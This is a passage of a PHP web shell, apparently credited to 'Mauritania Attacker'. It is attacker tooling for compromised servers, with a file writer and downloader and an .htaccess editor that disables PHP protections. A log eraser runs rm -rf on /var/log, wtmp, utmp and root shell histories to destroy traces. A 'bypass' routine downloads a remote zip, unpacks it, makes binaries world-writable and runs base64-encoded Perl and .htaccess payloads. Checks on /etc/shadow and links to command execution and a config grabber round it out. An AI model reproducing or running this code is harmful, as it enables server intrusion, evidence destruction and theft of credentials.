echo '<font color="#007700"> Symlink:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-';
}
if(function_exists('file_get_contents')){
echo '<font color="#007700"> file_get_contents:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> file_get_contents:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>-';
}
if(is_dir('sim/rut')){
echo '<font color="#007700"> Permission:</font><b class="tul"><font color="ff0000"> ON&nbsp;</font></b>-';
}
else{
echo '<font color="#007700"> Permission:</font><b class="tul"><font color="red"> OFF&nbsp;</font></b>';
}
?>
</div>
</center>


<?php
#################################################################
//code for php.ini

if(isset($_POST['source']) && isset($_POST['file'])){
$source = $_POST['source'];
$file = $_POST['file'];
$fp = fopen($file, 'w');
fwrite($fp, $source);
fclose($fp);
echo '<center><font color="#b0b000"><b>File saved</b></font></center>';
}
if(isset($_GET['turnoff'])){
if(is_writable(".htaccess")){
$value = $_GET['turnoff'];
if(file_exists(".htaccess")){
// fread example
$handle = fopen(".htaccess", "r");
$contents = '';
while (!feof($handle)) {
$read = fread($handle, 8192);
$contents = $contents.$read;


?>

<center><br><br><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#007700;>Turn off php.ini</font></b><br><br></center>
<center><span style="color: #b0b000;font-family: Courier New, Courier, monospace;font-size:12px">Use htaccess to turn php.ini functions on/off<br>Example: php_value magic_quotes_gpc off</span></center>
<form action="" method="post">
<center><br><textarea class="area" id="source" name="source"> -->
<?php

if($value == 'magic_quotes_gpc'){
$data = 'php_value magic_quotes_gpc off
'.$contents;
echo $data;
}
else{
echo $contents;
}
	?>
	</textarea></center>
	<input type="hidden" name="file" value=".htaccess"><br>
	<center><input type="submit" value="Save File"></center>
	</form>
	<?php
}
fclose($handle);
}
}
if(!file_exists(".htaccess")){
// make htaccess file
$myfile = '.htaccess';
$handle = fopen($myfile, 'w') or die('Cannot open file:  '.$myfile);
fclose($handle);
echo '<br><center><font color="#b0b000"><b>File created</b></font> <b><a href="?turnoff=ini">click here</a></b></center>';
}
?>
<?php 
}

// make file
if(isset($_GET['make'])){
// file maker
if(!file_exists($_GET['make'])){
// make htaccess file
$myfile = $_GET['make'];
$handle = fopen($myfile, 'w') or die('Cannot open file:  '.$myfile);
fclose($handle);
echo '<center><font color="#b0b000"><b>File created</b></font> <a href="?view='.$myfile.'&dir=0">click here</a></center>';
}
else{
echo '<center><font color="red">This file exist.</font>&nbsp;&nbsp;&nbsp;&nbsp; <a href="?delete='.$_GET['make'].'">delete</a>&nbsp;&nbsp;&nbsp;&nbsp; <a href="?view='.$_GET['make'].'">open</a><center>';
}
}

if(isset($_GET['get'])){
// download
$file = $_GET['get'];
if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename='.basename($file));
    header('Content-Transfer-Encoding: binary');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);
	exit();
}
}

if(isset($_GET['view'])){
$file = $_GET['view'];
?><br><center>
<form action="" method="post">
<textarea class="area" id="source" name="source">
<?php
if(file_exists($file)){
$open = htmlspecialchars(file_get_contents($file));
if($open){
echo $open;
}
}
else{
echo '				FILE DOES NOT EXISTS';
}
?>
</textarea>
<input type="hidden" name="file" value="<?php echo $file; ?>"><br><br>
<center><input type="submit" value="Save File"> <a href="?zip=<?php echo $file; ?>" style="font-size:14; padding: 3px;border: 1px solid #007700; background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Download</b></a> <a href="?delete=<?php echo $file; ?>&action=mumpet" style="font-size:14; padding: 3px;border: 1px solid #007700 ;background: black;color: #007700; background: transparent; box-shadow: 0px 0px 4px #007700;    padding: 3px;   -webkit-border-radius: 4px;
   -moz-border-radius: 4px;   border-radius: 4px;   -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px;   -moz-box-shadow: rgb(0,119,0) 0px 0px 4px;"><b>Delete</b></a></center>
</input></form></center>
<?php
}


if(isset($_GET['action']) && $_GET['action'] == 'simlinge'){
$a = fopen("vws.pl", "w");
fputs($a, $symlink);
fclose($a);
system("perl vws.pl");
}


if(isset($_GET['action']) && $_GET['action'] == 'deltlogss'){
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Logs Eraser</span><center><br>';
//exec function madafuck !
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";      
exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");

//shell_exec function madafuck !
shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");

//passthru function madafuck !
passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");


//Let the Mother of Functions To Complete The Task wkwkwkw xD!
system("rm -rf /tmp/logs");
sleep(2);
echo'<br><font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Deleted [+].../tmp/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif>';
sleep(2);

system("rm -rf /root/.bash_history");
sleep(2);
echo'<p>Deleted [+].../root/.bash_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /root/.ksh_history");
sleep(2);
echo'<p>Deleted [+].../root/.ksh_history <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /root/.bash_logout");
sleep(2);
echo'<p>Deleted [+].../root/.bash_logout <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /usr/local/apache/logs");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /usr/local/apache/log");
sleep(2);
echo'<p>Deleted [+].../usr/local/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/apache/logs");
sleep(2);
echo'<p>Deleted [+].../var/apache/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/apache/log");
sleep(2);
echo'<p>Deleted [+].../var/apache/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/run/utmp");
sleep(2);
echo'<p>Deleted [+].../var/run/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/logs");
sleep(2);
echo'<p>Deleted [+].../var/logs <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/log");
sleep(2);
echo'<p>Deleted [+].../var/log <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/adm");
sleep(2);
echo'<p>Deleted [+].../var/adm <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /etc/wtmp");
sleep(2);
echo'<p>Deleted [+].../etc/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /etc/utmp");
sleep(2);
echo'<p>Deleted [+].../etc/utmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf $HISTFILE");
sleep(2);
echo'<p>Deleted [+]...$HISTFILE <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>'; 

system("rm -rf /var/log/lastlog");
sleep(2);
echo'<p>Deleted [+].../var/log/lastlog <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

system("rm -rf /var/log/wtmp");
sleep(2);
echo'<p>Deleted [+].../var/log/wtmp <img src=http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif></p>';

sleep(4);

echo '</font><br><br><p><font color="00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Your Traces Has Been Successfully Erased From the Server';
echo"</td></tr></table>";

}


if(isset($_GET['action']) && $_GET['action'] == 'exgz'){
echo '<center><b class="conte">
<a href="?action=exgz">Bypass Server Functions</a> -
<a href="?action=tespr">Test Permission</a> -
<a href="?action=srvrinformations">Server Informations</a>  </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Server Functions 100% Priv8</span><center>';
echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Coded  By Mauritania Attacker</font><br><br><font color="#009900" face="Tahoma, Geneva, sans-serif" style="font-size: 12pt">Force Enabling Functions on the Server <font/></b><br><br>
<form method="post"><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 10pt">Remote File Zip Functions</font> <input type="text" size="40" name="shell" value="http://hcp1.es/wp-content/uploads/ghost.zip"> <input type="submit" value="Bypass Functions Now" name="fuck"></center>
</form><br><br>
</center>';
@error_reporting(0);
/*
* Coded By : Mauritania Attacker
* Avalaibility : Priv99999999999 !
* This Tool is not for kids !!
* GreetZ To All AnonGhost MemberZ
*/

$file = $_POST['shell'];
//Generate zip file
$fopen = fopen("ghost.zip",'w');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>"; 
echo "<font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Zip Functions Uploaded Successfully
</font><br>";
sleep(2);
echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Going To Unzip All Functions Now Be patient Nygga ....</font></p><br>";

sleep(2); 

//system
system('unzip ghost.zip');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//passthru
passthru('unzip ghost.zip');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//shell_exec
shell_exec('unzip ghost.zip');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//exec
exec('unzip ghost.zip');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

//proc_open
proc_open('unzip ghost.zip');

chmod("id" , 0777);
chmod("gunzip" , 0777);
chmod("pwd" , 0777);
chmod("ln" , 0777);
chmod("ls" , 0777);
chmod("chmod" , 0777);
chmod("uname" , 0777);
chmod("rm" , 0777);
chmod("su" , 0777);
chmod("tail" , 0777);
chmod("Ptouch" , 0777);
chmod("who" , 0777);
chmod("gcc" , 0777);
chmod("tar" , 0777);
chmod("du" , 0777);
chmod("dir" , 0777);
chmod("wget" , 0777);
chmod("date" , 0777);
chmod("gzip" , 0777);
chmod("sh" , 0777);

sleep(3);

echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Loading Perl Functions.... </font> </p>";
//chmod.pl generate
$shellw0rm = 'eyANCnN5c3RlbSgidW56aXAgZ2hvc3QuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBpZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZ3VuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyBwd2QiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxuIik7DQpzeXN0ZW0oImNobW9kIDc3NyBscyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdkIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjaG1vZCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdW5hbWUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyBjYXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHN1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YWlsIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0b3VjaCIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgd2hvIik7DQpzeXN0ZW0oImNobW9kIDc3NyBnY2MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHJtIik7DQpzeXN0ZW0oImNobW9kIDc3NyB0YXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGR1Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBkaXIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHdnZXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGRhdGUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGd6aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHNoIik7DQp9';
$chmoderr = fopen("chmod.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
echo "<p><font color='007700' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Perl Modules Uploaded Successfully</font></p><br>";
fclose($chmoderr);
chmod("chmod.pl",0755);


//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
$lol = fopen(".htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);

sleep(2);

//unzip with perl , if php can't do unzip perl maybe can 
echo "<p><b><font color='009900' face='Tahoma, Geneva, sans-serif' style='font-size: 10pt'>Unzipping Functions with Perl </font></b></p><br>";

system('perl chmod.pl');
passthru('perl chmod.pl');
shell_exec('perl chmod.pl');
exec('perl chmod.pl');
proc_open('perl chmod.pl');
echo"</td></tr></table>";
}
}
}

if(isset($_GET['action']) && $_GET['action'] == 'iplookdom'){

     echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Ip Lookup Reverse Domain By Mauritania Attacker</span></center>
";
echo "<center><img border='0' src='http://www.serveu.net/images/stories/geolocation.png' width=\"200\" height=\"200\" style='margin-top:10px'></center><div id=result>";
echo "<center><br><form><input type='text' size='60' value='yahoo.com' name='ghost' /><input type='hidden' name='action' value='iplookdom'> &nbsp;<input type='submit' value='&nbsp;&check;&nbsp;'></form></center>";
if(isset($_GET["ghost"]))
{
$site = $_GET["ghost"];
$ghost = "http://domains.yougetsignal.com/domains.php";

//Curl Function
$ch = curl_init($ghost);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$site&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
echo "<table style='margin: 0 auto'>";
foreach($array as $lnk)
{
    print "<tr><td><a  style=\"color:#0f0;font-weight:bold;\" href='$lnk' target=_blank>$lnk</a></td></tr>";
}
echo "</table>";
curl_close($ch);
}


}
if(isset($_GET['action']) && $_GET['action'] == 'srvrinformations'){
echo '<center><b class="conte">
<a href="?action=exgz">Bypass Server Functions</a> -
<a href="?action=tespr">Test Permission</a> -
<a href="?action=srvrinformations">Server Informations</a>  </center>
</b>';
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Server Security Informations</span><center><br>";
echo "<center><div class='tmpe'>
<table align='center' width='50%'><td><font color='#007700'>Kernel Version</font></td><td>";echo php_uname();
echo "<tr><td><font color='#007700'>Web Server</font></td><td>";echo $_SERVER["SERVER_SOFTWARE"];
echo "<tr><td><font color='#007700'>PHP Version</font></td><td>";echo phpversion(); echo " on "; echo php_sapi_name();
echo "<tr><td><font color='#007700'>Current User</font></td><td>";echo get_current_user();
echo "<tr><td><font color='#007700'>User ID</font></td><td>";echo getmyuid();
echo "<tr><td><font color='#007700'>Group</font></td><td>";echo getmygid();
echo "<tr><td><font color='#007700'>Cwd </font></td><td>";echo getcwd();
echo "<tr><td><font color='#007700'>Admin Server</font></td><td>";echo $_SERVER['SERVER_ADMIN'];
echo "<tr><td><font color='#007700'>Server Port</font></td><td>";echo $_SERVER['SERVER_PORT'];
echo "<tr><td><font color='#007700'>Server IP</font></td><td>";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo "<tr><td><font color='#007700'>Client IP</font></td><td>";echo $_SERVER['REMOTE_ADDR'];
echo "<tr><td><font color='#007700'>cURL support</font></td><td>";echo function_exists('curl_version')?'Enabled':'No';
echo "<tr><td><font color='#007700'>Readable /etc/passwd</font></td><td>";echo @is_readable('/etc/passwd')?"Readable <a href='?action=moco'> [View]</a>":"Not Readable";
echo "<tr><td><font color='#007700'>Readable /etc/shadow</font></td><td>";echo @is_readable('/etc/shadow')?"Readable":"Not Readable";
$base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON <font color='#007700'>secure</font>":"OFF <font color='#007700'>not secure</font>";
echo "<tr><td><font color='#007700'>Open Base Dir</font></td><td><font class=txt>" . $base . "</font>";
echo "</table></div></center><br>";
}


if(isset($_GET['action']) && $_GET['action'] == 'tespr'){
echo '<center><b class="conte">
<a href="?action=exgz">Bypass Server Functions</a> -
<a href="?action=tespr">Test Permission</a> -
<a href="?action=srvrinformations">Server Informations</a>  </center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Test Permission</span><center><br>';

echo '<center><table style="border:1px solid #007700;">';
echo '<tr>';
if(ini_get('id') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;id:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('gunzip') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| gunzip:&nbsp;</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('pwd') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| pwd:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('ln') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ln:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('ls') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| ls:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('chmod') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| chmod:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';
if(ini_get('uname') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;uname:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;uname:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('rm') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| rm:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('su') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| su:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| su:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}

if(ini_get('tail') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tail:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('Ptouch') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| Ptouch:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('who') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| who:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| who:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';
if(ini_get('gcc') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gcc:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('tar') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| tar:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('du') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| du:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| du:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('dir') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| dir:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('wget') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| wget:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('date') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| date:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| date:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr><tr>';

if(ini_get('gzip') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp; gzip:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
if(ini_get('sh') == '1'){
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#ff0000" size="2pt"> ON&nbsp;</font></b></td>';
}
else{
echo '<td style="border:0px solid black;"><font color="#007700" size="2pt">&nbsp;| sh:</font></td><td><b><font color="#b0b000" size="2pt">&nbsp;OFF&nbsp;</font></b></td>';
}
echo '</tr>';
echo '</table></center>';

}



if(isset($_GET['action']) && $_GET['action'] == 'exploit'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
